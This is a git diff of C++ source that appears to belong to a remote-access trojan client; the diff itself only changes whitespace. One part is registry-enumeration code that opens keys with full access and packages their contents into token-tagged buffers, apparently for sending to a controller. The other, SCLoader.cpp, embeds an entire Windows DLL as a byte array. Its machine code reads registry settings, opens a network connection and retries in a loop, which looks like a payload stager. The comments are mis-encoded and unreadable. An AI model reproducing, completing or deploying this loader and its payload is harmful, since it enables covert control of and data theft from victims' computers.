KeySize=KeyMaxLen+1; - if(KeyCount>0&&KeySize>1){ - int Size=sizeof(REGMSG)+1; + char *szBuffer=NULL; + HKEY hKey; //עؾ + /*ע User kdjfjkf\kdjfkdjf\ */ + if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { // + DWORD dwIndex=0,NameCount,NameMaxLen; + DWORD KeySize,KeyCount,KeyMaxLen,MaxDateLen; + //ö + if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCount, //14 + &KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS) { + return NULL; + } + //һ㱣ʩ + KeySize=KeyMaxLen+1; + if(KeyCount>0&&KeySize>1) { + int Size=sizeof(REGMSG)+1; - DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11] - szBuffer=(char*)LocalAlloc(LPTR, DataSize); - if (szBuffer == NULL) { - return NULL; - } - ZeroMemory(szBuffer,DataSize); - szBuffer[0]=TOKEN_REG_PATH; //ͷ - REGMSG msg; //ͷ - msg.size=KeySize; - msg.count=KeyCount; - memcpy(szBuffer+1,(void*)&msg,Size); + DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11] + szBuffer=(char*)LocalAlloc(LPTR, DataSize); + if (szBuffer == NULL) { + return NULL; + } + ZeroMemory(szBuffer,DataSize); + szBuffer[0]=TOKEN_REG_PATH; //ͷ + REGMSG msg; //ͷ + msg.size=KeySize; + msg.count=KeyCount; + memcpy(szBuffer+1,(void*)&msg,Size); - char * szTemp=new char[KeySize]; - for(dwIndex=0;dwIndex0&&MaxDateLen>0) - { - DataSize=MaxDateLen+1; - NameSize=NameMaxLen+100; - REGMSG msg; - msg.count=NameCount; //ܸ - msg.size=NameSize; //ִС - msg.valsize=DataSize; //ݴС - int msgsize=sizeof(REGMSG); - // ͷ - DWORD size=sizeof(REGMSG)+ - sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10; - szBuffer = (char*)LocalAlloc(LPTR, size); - if (szBuffer==NULL) - { - return NULL; - } - ZeroMemory(szBuffer,size); - szBuffer[0]=TOKEN_REG_KEY; //ͷ - memcpy(szBuffer+1,(void*)&msg,msgsize); //ͷ + char *szBuffer=NULL; + HKEY hKey; //עؾ + if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { // + DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type; + DWORD KeyCount,KeyMaxLen,DataSize,MaxDateLen; + //ö + if(RegQueryInfoKey(hKey,NULL,NULL,NULL, + &KeyCount,&KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS) { + return NULL; + } + if(NameCount>0&&MaxDateLen>0) { + DataSize=MaxDateLen+1; + NameSize=NameMaxLen+100; + REGMSG msg; + msg.count=NameCount; //ܸ + msg.size=NameSize; //ִС + msg.valsize=DataSize; //ݴС + int msgsize=sizeof(REGMSG); + // ͷ + DWORD size=sizeof(REGMSG)+ + sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10; + szBuffer = (char*)LocalAlloc(LPTR, size); + if (szBuffer==NULL) { + return NULL; + } + ZeroMemory(szBuffer,size); + szBuffer[0]=TOKEN_REG_KEY; //ͷ + memcpy(szBuffer+1,(void*)&msg,msgsize); //ͷ - szValueName=(char *)malloc(NameSize); - szValueDate=(LPBYTE)malloc(DataSize); - if (szValueName==NULL||szValueDate == NULL) - { - return NULL; - } - char *szTemp=szBuffer+msgsize+1; - for(dwIndex=0;dwIndex 1000 -class RegisterOperation +class RegisterOperation { public: - RegisterOperation(char bToken); - virtual ~RegisterOperation(); - char* FindPath(); - HKEY MKEY; - char KeyPath[MAX_PATH]; - void SetPath(char *szPath); - char* FindKey(); + RegisterOperation(char bToken); + virtual ~RegisterOperation(); + char* FindPath(); + HKEY MKEY; + char KeyPath[MAX_PATH]; + void SetPath(char *szPath); + char* FindKey(); }; #endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_) diff --git a/client/SCLoader.cpp b/client/SCLoader.cpp index 3363e13..f031421 100644 --- a/client/SCLoader.cpp +++ b/client/SCLoader.cpp @@ -1,10158 +1,10158 @@ unsigned char TinyRun_dll[] = { - 0x4d, 0x5a, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0xff, 0xff, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x01, 0x00, 0x00, 0x0e, 0x1f, 0xba, 0x0e, 0x00, 0xb4, 0x09, 0xcd, - 0x21, 0xb8, 0x01, 0x4c, 0xcd, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, - 0x72, 0x6f, 0x67, 0x72, 0x61, 0x6d, 0x20, 0x63, 0x61, 0x6e, 0x6e, 0x6f, - 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6e, 0x20, 0x69, 0x6e, 0x20, - 0x44, 0x4f, 0x53, 0x20, 0x6d, 0x6f, 0x64, 0x65, 0x2e, 0x0d, 0x0d, 0x0a, - 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd4, 0xad, 0xed, 0xad, - 0x90, 0xcc, 0x83, 0xfe, 0x90, 0xcc, 0x83, 0xfe, 0x90, 0xcc, 0x83, 0xfe, - 0x84, 0xa7, 0x87, 0xff, 0x9b, 0xcc, 0x83, 0xfe, 0x84, 0xa7, 0x80, 0xff, - 0x96, 0xcc, 0x83, 0xfe, 0x84, 0xa7, 0x86, 0xff, 0x17, 0xcc, 0x83, 0xfe, - 0xc2, 0xb9, 0x86, 0xff, 0x8d, 0xcc, 0x83, 0xfe, 0xc2, 0xb9, 0x87, 0xff, - 0x9e, 0xcc, 0x83, 0xfe, 0xc2, 0xb9, 0x80, 0xff, 0x99, 0xcc, 0x83, 0xfe, - 0x84, 0xa7, 0x82, 0xff, 0x99, 0xcc, 0x83, 0xfe, 0x90, 0xcc, 0x82, 0xfe, - 0xfd, 0xcc, 0x83, 0xfe, 0x5f, 0xb9, 0x8b, 0xff, 0x91, 0xcc, 0x83, 0xfe, - 0x5f, 0xb9, 0x83, 0xff, 0x91, 0xcc, 0x83, 0xfe, 0x5f, 0xb9, 0x7c, 0xfe, - 0x91, 0xcc, 0x83, 0xfe, 0x5f, 0xb9, 0x81, 0xff, 0x91, 0xcc, 0x83, 0xfe, - 0x52, 0x69, 0x63, 0x68, 0x90, 0xcc, 0x83, 0xfe, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x07, 0x00, - 0x53, 0xe4, 0x87, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xf0, 0x00, 0x22, 0x20, 0x0b, 0x02, 0x0e, 0x1d, 0x00, 0x0a, 0x01, 0x00, - 0x00, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x1c, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x40, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x60, 0x01, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x20, 0xb9, 0x01, 0x00, - 0x44, 0x00, 0x00, 0x00, 0x64, 0xb9, 0x01, 0x00, 0x64, 0x00, 0x00, 0x00, - 0x00, 0x20, 0x02, 0x00, 0xe0, 0x01, 0x00, 0x00, 0x00, 0xf0, 0x01, 0x00, - 0x68, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x30, 0x02, 0x00, 0x60, 0x06, 0x00, 0x00, 0x24, 0xa6, 0x01, 0x00, - 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x60, 0xa6, 0x01, 0x00, 0x38, 0x01, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x01, 0x00, - 0xf8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, - 0x40, 0x09, 0x01, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x01, 0x00, - 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, 0x2e, 0x72, 0x64, 0x61, - 0x74, 0x61, 0x00, 0x00, 0xbc, 0xa2, 0x00, 0x00, 0x00, 0x20, 0x01, 0x00, - 0x00, 0xa4, 0x00, 0x00, 0x00, 0x0e, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, - 0x2e, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x98, 0x1d, 0x00, 0x00, - 0x00, 0xd0, 0x01, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0xb2, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0xc0, 0x2e, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0x68, 0x10, 0x00, 0x00, 0x00, 0xf0, 0x01, 0x00, 0x00, 0x12, 0x00, 0x00, - 0x00, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x5f, 0x52, 0x44, 0x41, - 0x54, 0x41, 0x00, 0x00, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x10, 0x02, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0xd0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, - 0x2e, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0xe0, 0x01, 0x00, 0x00, - 0x00, 0x20, 0x02, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xd2, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x40, 0x2e, 0x72, 0x65, 0x6c, 0x6f, 0x63, 0x00, 0x00, - 0x60, 0x06, 0x00, 0x00, 0x00, 0x30, 0x02, 0x00, 0x00, 0x08, 0x00, 0x00, - 0x00, 0xd4, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x89, 0xdd, 0x01, 0x00, 0xc3, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x54, 0x24, - 0x10, 0x4c, 0x89, 0x44, 0x24, 0x18, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x53, - 0x56, 0x57, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, 0xda, 0x48, 0x8d, 0x74, - 0x24, 0x60, 0x48, 0x8b, 0xf9, 0xe8, 0xca, 0xff, 0xff, 0xff, 0x4c, 0x8b, - 0xcb, 0x48, 0x89, 0x74, 0x24, 0x28, 0x48, 0xc7, 0xc3, 0xff, 0xff, 0xff, - 0xff, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x8b, - 0xc3, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0x08, 0x48, 0x83, 0xc9, 0x01, 0xe8, - 0xc0, 0x3f, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x48, 0xc3, 0x48, 0x83, 0xc4, - 0x30, 0x5f, 0x5e, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x56, 0x48, 0x83, - 0xec, 0x50, 0x48, 0x8b, 0x05, 0x8b, 0xbf, 0x01, 0x00, 0x48, 0x33, 0xc4, - 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8b, 0xf2, 0x48, 0xc7, 0x44, 0x24, - 0x38, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x44, 0x24, 0x38, 0x41, 0xb9, - 0x19, 0x00, 0x02, 0x00, 0x48, 0x8d, 0x15, 0xe5, 0x94, 0x01, 0x00, 0x48, - 0x89, 0x44, 0x24, 0x20, 0x45, 0x33, 0xc0, 0x48, 0xc7, 0xc1, 0x01, 0x00, - 0x00, 0x80, 0xff, 0x15, 0x50, 0x0f, 0x01, 0x00, 0x85, 0xc0, 0x74, 0x15, - 0x33, 0xc0, 0x48, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x33, 0xcc, 0xe8, 0xb5, - 0x08, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x50, 0x5e, 0xc3, 0x48, 0x89, 0x5c, - 0x24, 0x60, 0x48, 0x89, 0x7c, 0x24, 0x70, 0xbf, 0x00, 0x04, 0x00, 0x00, - 0xc7, 0x44, 0x24, 0x40, 0x00, 0x00, 0x00, 0x00, 0x89, 0x7c, 0x24, 0x30, - 0x8d, 0x4f, 0x01, 0xe8, 0x60, 0x43, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, - 0x85, 0xc0, 0x74, 0x4b, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x48, 0x8d, 0x44, - 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4c, 0x8d, 0x4c, 0x24, 0x40, - 0x45, 0x33, 0xc0, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xff, - 0x15, 0xdf, 0x0e, 0x01, 0x00, 0x39, 0x7c, 0x24, 0x30, 0x0f, 0x42, 0x7c, - 0x24, 0x30, 0xc6, 0x04, 0x1f, 0x00, 0x85, 0xc0, 0x75, 0x0b, 0x8b, 0x44, - 0x24, 0x40, 0xff, 0xc8, 0x83, 0xf8, 0x01, 0x76, 0x0a, 0x48, 0x8b, 0xcb, - 0xe8, 0x53, 0x3f, 0x00, 0x00, 0x33, 0xdb, 0x48, 0x8b, 0x4c, 0x24, 0x38, - 0xff, 0x15, 0xbe, 0x0e, 0x01, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x70, 0x48, - 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x4c, 0x24, 0x48, - 0x48, 0x33, 0xcc, 0xe8, 0x14, 0x08, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x50, - 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0x40, 0x55, 0x53, 0x41, 0x55, 0x48, 0x8d, 0xac, - 0x24, 0xf0, 0xfd, 0xff, 0xff, 0x48, 0x81, 0xec, 0x10, 0x03, 0x00, 0x00, - 0x48, 0x8b, 0x05, 0x6d, 0xbe, 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, - 0x85, 0xe0, 0x01, 0x00, 0x00, 0x49, 0x8b, 0xc0, 0x44, 0x8b, 0xea, 0x48, - 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x0f, 0x84, - 0x0d, 0x05, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x04, 0x05, 0x00, - 0x00, 0xb9, 0x02, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x55, 0xa0, 0xff, 0x15, - 0xb4, 0x10, 0x01, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0xed, 0x04, 0x00, 0x00, - 0x0f, 0x57, 0xc0, 0x48, 0x89, 0xb4, 0x24, 0x30, 0x03, 0x00, 0x00, 0x33, - 0xc0, 0x48, 0x89, 0xbc, 0x24, 0x08, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x8d, - 0x70, 0x01, 0x00, 0x00, 0x4c, 0x89, 0xb4, 0x24, 0xf8, 0x02, 0x00, 0x00, - 0x0f, 0x11, 0x85, 0x70, 0x01, 0x00, 0x00, 0x89, 0x85, 0xd0, 0x01, 0x00, - 0x00, 0x48, 0x2b, 0xcb, 0x0f, 0x11, 0x85, 0x80, 0x01, 0x00, 0x00, 0x0f, - 0x11, 0x85, 0x90, 0x01, 0x00, 0x00, 0x0f, 0x11, 0x85, 0xa0, 0x01, 0x00, - 0x00, 0x0f, 0x11, 0x85, 0xb0, 0x01, 0x00, 0x00, 0x0f, 0x11, 0x85, 0xc0, - 0x01, 0x00, 0x00, 0x0f, 0x1f, 0x40, 0x00, 0x66, 0x0f, 0x1f, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0x03, 0x88, 0x04, 0x19, 0x48, 0x8d, - 0x5b, 0x01, 0x84, 0xc0, 0x75, 0xf2, 0x48, 0x8d, 0x15, 0x4f, 0x93, 0x01, - 0x00, 0xe8, 0x16, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x15, 0x4b, 0x93, 0x01, - 0x00, 0x48, 0x8b, 0xd8, 0xe8, 0x07, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x15, - 0x48, 0x93, 0x01, 0x00, 0x48, 0x8b, 0xf8, 0xe8, 0xf8, 0xfd, 0xff, 0xff, - 0x33, 0xc9, 0x48, 0x8b, 0xf0, 0xe8, 0xa6, 0x3d, 0x00, 0x00, 0x4c, 0x8b, - 0xf0, 0x48, 0x85, 0xf6, 0x74, 0x0a, 0x48, 0x8b, 0xce, 0xe8, 0x96, 0x41, - 0x00, 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x44, 0x3b, 0xf0, 0x7f, 0x3e, 0x48, - 0x85, 0xdb, 0x74, 0x39, 0x80, 0x3b, 0x00, 0x74, 0x34, 0x48, 0x85, 0xff, - 0x74, 0x2f, 0x80, 0x3f, 0x00, 0x74, 0x2a, 0x48, 0x8d, 0x95, 0x70, 0x01, - 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x2b, 0xd3, 0x0f, 0x1f, 0x40, 0x00, - 0x0f, 0xb6, 0x01, 0x88, 0x04, 0x0a, 0x48, 0x8d, 0x49, 0x01, 0x84, 0xc0, - 0x75, 0xf2, 0x48, 0x8b, 0xcf, 0xe8, 0x52, 0x41, 0x00, 0x00, 0x44, 0x8b, - 0xe8, 0x48, 0x8b, 0xcb, 0xe8, 0xb7, 0x3d, 0x00, 0x00, 0x48, 0x8b, 0xcf, - 0xe8, 0xaf, 0x3d, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xe8, 0xa7, 0x3d, 0x00, - 0x00, 0x0f, 0x57, 0xc0, 0x4c, 0x8d, 0x44, 0x24, 0x5c, 0x33, 0xc0, 0x48, - 0x8d, 0x95, 0x70, 0x01, 0x00, 0x00, 0xbe, 0x02, 0x00, 0x00, 0x00, 0x89, - 0x85, 0x50, 0x01, 0x00, 0x00, 0x8b, 0xce, 0x66, 0x89, 0x85, 0x54, 0x01, - 0x00, 0x00, 0x0f, 0x11, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0f, 0x11, 0x44, - 0x24, 0x58, 0xff, 0x15, 0x80, 0x0f, 0x01, 0x00, 0x83, 0xf8, 0x01, 0x75, - 0x25, 0x44, 0x8d, 0x46, 0x13, 0x48, 0x8d, 0x95, 0x70, 0x01, 0x00, 0x00, - 0x48, 0x8d, 0x8d, 0x40, 0x01, 0x00, 0x00, 0xe8, 0x8c, 0x26, 0x00, 0x00, - 0x33, 0xdb, 0xc6, 0x85, 0x55, 0x01, 0x00, 0x00, 0x00, 0xe9, 0x95, 0x00, - 0x00, 0x00, 0x33, 0xdb, 0x89, 0x74, 0x24, 0x6c, 0x0f, 0x57, 0xc0, 0x89, - 0x5c, 0x24, 0x68, 0x0f, 0x57, 0xc9, 0x48, 0x89, 0x5c, 0x24, 0x48, 0x4c, - 0x8d, 0x4c, 0x24, 0x48, 0xc7, 0x44, 0x24, 0x70, 0x01, 0x00, 0x00, 0x00, - 0x4c, 0x8d, 0x44, 0x24, 0x68, 0xc7, 0x44, 0x24, 0x74, 0x06, 0x00, 0x00, - 0x00, 0x33, 0xd2, 0x48, 0x8d, 0x8d, 0x70, 0x01, 0x00, 0x00, 0xf3, 0x0f, - 0x7f, 0x44, 0x24, 0x78, 0xf3, 0x0f, 0x7f, 0x4d, 0x88, 0xff, 0x15, 0xe5, - 0x0e, 0x01, 0x00, 0x85, 0xc0, 0x75, 0x35, 0x48, 0x8b, 0x54, 0x24, 0x48, - 0x48, 0x85, 0xd2, 0x74, 0x2b, 0x48, 0x8b, 0x52, 0x20, 0x44, 0x8d, 0x4b, - 0x16, 0x48, 0x83, 0xc2, 0x04, 0x4c, 0x8d, 0x85, 0x40, 0x01, 0x00, 0x00, - 0x8b, 0xce, 0xff, 0x15, 0xf4, 0x0e, 0x01, 0x00, 0x48, 0x8b, 0x4c, 0x24, - 0x48, 0x48, 0x85, 0xc0, 0x75, 0x13, 0xff, 0x15, 0xf4, 0x0e, 0x01, 0x00, - 0xff, 0x15, 0xfe, 0x0e, 0x01, 0x00, 0x33, 0xc0, 0xe9, 0x9a, 0x02, 0x00, - 0x00, 0xff, 0x15, 0xe1, 0x0e, 0x01, 0x00, 0x4c, 0x89, 0xa4, 0x24, 0x00, - 0x03, 0x00, 0x00, 0x33, 0xc9, 0x4c, 0x89, 0xbc, 0x24, 0xf0, 0x02, 0x00, - 0x00, 0xe8, 0x2a, 0x3c, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xe8, 0x9e, 0x25, - 0x00, 0x00, 0x48, 0x8b, 0xfb, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x44, - 0x8b, 0xf3, 0x44, 0x8b, 0xfb, 0xeb, 0x0e, 0x66, 0x0f, 0x1f, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xbe, 0x02, 0x00, 0x00, 0x00, 0x45, 0x85, 0xe4, - 0x75, 0x30, 0xe8, 0x49, 0x25, 0x00, 0x00, 0x44, 0x8b, 0xc0, 0xb8, 0x89, - 0x88, 0x88, 0x88, 0x41, 0xf7, 0xe8, 0x41, 0x03, 0xd0, 0xc1, 0xfa, 0x06, - 0x8b, 0xca, 0xc1, 0xe9, 0x1f, 0x03, 0xd1, 0x6b, 0xca, 0x78, 0x44, 0x2b, - 0xc1, 0x41, 0x69, 0xc8, 0xe8, 0x03, 0x00, 0x00, 0xff, 0x15, 0xf6, 0x0b, - 0x01, 0x00, 0x41, 0xff, 0xc6, 0x89, 0x5c, 0x24, 0x48, 0x44, 0x8b, 0xe3, - 0x41, 0x83, 0xfe, 0x14, 0x75, 0x1e, 0x48, 0x8b, 0x0d, 0x6b, 0xc6, 0x01, - 0x00, 0xba, 0xce, 0x0f, 0x00, 0x00, 0x41, 0xb9, 0xd6, 0x4d, 0xf0, 0x61, - 0x41, 0xb8, 0xe3, 0x4e, 0xa7, 0x37, 0xff, 0x15, 0xe8, 0x0d, 0x01, 0x00, - 0xba, 0x01, 0x00, 0x00, 0x00, 0x8b, 0xce, 0x44, 0x8d, 0x42, 0x05, 0xff, - 0x15, 0x07, 0x0e, 0x01, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x83, 0xf8, 0xff, - 0x0f, 0x84, 0x7a, 0xff, 0xff, 0xff, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0xc7, - 0x44, 0x24, 0x50, 0x30, 0x75, 0x00, 0x00, 0xba, 0xff, 0xff, 0x00, 0x00, - 0xc7, 0x44, 0x24, 0x20, 0x04, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x06, 0x10, - 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xff, 0x15, 0x01, 0x0e, 0x01, 0x00, 0xb8, - 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x41, 0x0f, 0xb7, - 0xcd, 0x66, 0x89, 0x44, 0x24, 0x58, 0xff, 0x15, 0xd8, 0x0d, 0x01, 0x00, - 0x48, 0x8d, 0x8d, 0x40, 0x01, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x5a, - 0xff, 0x15, 0x96, 0x0d, 0x01, 0x00, 0x41, 0xb8, 0x10, 0x00, 0x00, 0x00, - 0x48, 0x8d, 0x54, 0x24, 0x58, 0x48, 0x8b, 0xce, 0x89, 0x44, 0x24, 0x5c, - 0xff, 0x15, 0xd6, 0x0d, 0x01, 0x00, 0x48, 0x8b, 0xce, 0x83, 0xf8, 0xff, - 0x75, 0x16, 0xff, 0x15, 0xc0, 0x0d, 0x01, 0x00, 0xb9, 0x01, 0x00, 0x00, - 0x80, 0xff, 0x15, 0x05, 0x0b, 0x01, 0x00, 0xe9, 0xf0, 0xfe, 0xff, 0xff, - 0x8b, 0x05, 0x4a, 0x90, 0x01, 0x00, 0x48, 0x8d, 0x95, 0x58, 0x01, 0x00, - 0x00, 0x89, 0x44, 0x24, 0x30, 0x45, 0x33, 0xc9, 0x0f, 0xb7, 0x05, 0x39, - 0x90, 0x01, 0x00, 0x66, 0x89, 0x44, 0x24, 0x34, 0x66, 0x89, 0x5c, 0x24, - 0x36, 